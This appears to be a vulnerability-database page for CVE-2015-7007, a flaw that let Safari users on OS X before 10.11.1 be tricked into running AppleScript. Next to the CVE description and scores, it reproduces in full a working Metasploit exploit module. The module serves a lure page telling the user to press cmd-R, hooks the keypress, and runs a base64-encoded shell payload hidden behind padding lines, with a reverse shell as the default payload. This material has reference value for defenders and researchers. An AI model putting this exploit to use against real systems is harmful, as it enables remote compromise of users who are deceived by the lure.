CVE-2015-7007 : Detail

CVE-2015-7007

78.16%V4
Network
2015-10-23
19h00 +00:00
2016-12-22
17h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Script Editor in Apple OS X before 10.11.1 allows remote attackers to bypass an intended user-confirmation requirement for AppleScript execution via unspecified vectors.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE Other No informations.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 38535

Publication date : 2015-10-25 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::EXE include Msf::Exploit::Remote::BrowserExploitServer def initialize(info = {}) super(update_info(info, 'Name' => 'Safari User-Assisted Applescript Exec Attack', 'Description' => %q{ In versions of Mac OS X before 10.11.1, the applescript:// URL scheme is provided, which opens the provided script in the Applescript Editor. Pressing cmd-R in the Editor executes the code without any additional confirmation from the user. By getting the user to press cmd-R in Safari, and by hooking the cmd-key keypress event, a user can be tricked into running arbitrary Applescript code. Gatekeeper should be disabled from Security & Privacy in order to avoid the unidentified Developer prompt. }, 'License' => MSF_LICENSE, 'Arch' => ARCH_CMD, 'Platform' => ['unix', 'osx'], 'Compat' => { 'PayloadType' => 'cmd' }, 'Targets' => [ [ 'Mac OS X', {} ] ], 'DefaultOptions' => { 'payload' => 'cmd/unix/reverse_python' }, 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 16 2015', 'Author' => [ 'joev' ], 'References' => [ [ 'CVE', '2015-7007' ], [ 'URL', 'https://support.apple.com/en-us/HT205375' ] ], 'BrowserRequirements' => { :source => 'script', :ua_name => HttpClients::SAFARI, :os_name => OperatingSystems::Match::MAC_OSX } )) register_options([ OptString.new('CONTENT', [false, "Content to display in browser", "This page has failed to load. Press cmd-R to refresh."]), OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes']) ], self.class) end def on_request_exploit(cli, request, profile) print_status("Sending #{self.name}") send_response_html(cli, exploit_html) end def exploit_html "<!doctype html><html><body>#{content}<script>#{exploit_js}</script></body></html>" end def exploit_js js_obfuscate %Q| var as = Array(150).join("\\n") + 'do shell script "echo #{Rex::Text.encode_base64(sh)} \| base64 --decode \| /bin/sh"'; var url = 'applescript://com.apple.scripteditor?action=new&script='+encodeURIComponent(as); window.onkeydown = function(e) { if (e.keyCode == 91) { window.location = url; } }; | end def sh 'killall "Script Editor"; nohup ' + payload.encoded end def content datastore['CONTENT'] end end

Products Mentioned

Configuraton 0

Apple>>Mac_os_x >> Version To (including) 10.11.0

References

https://support.apple.com/HT205375
Tags : x_refsource_CONFIRM
https://www.exploit-db.com/exploits/38535/
Tags : exploit, x_refsource_EXPLOIT-DB
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.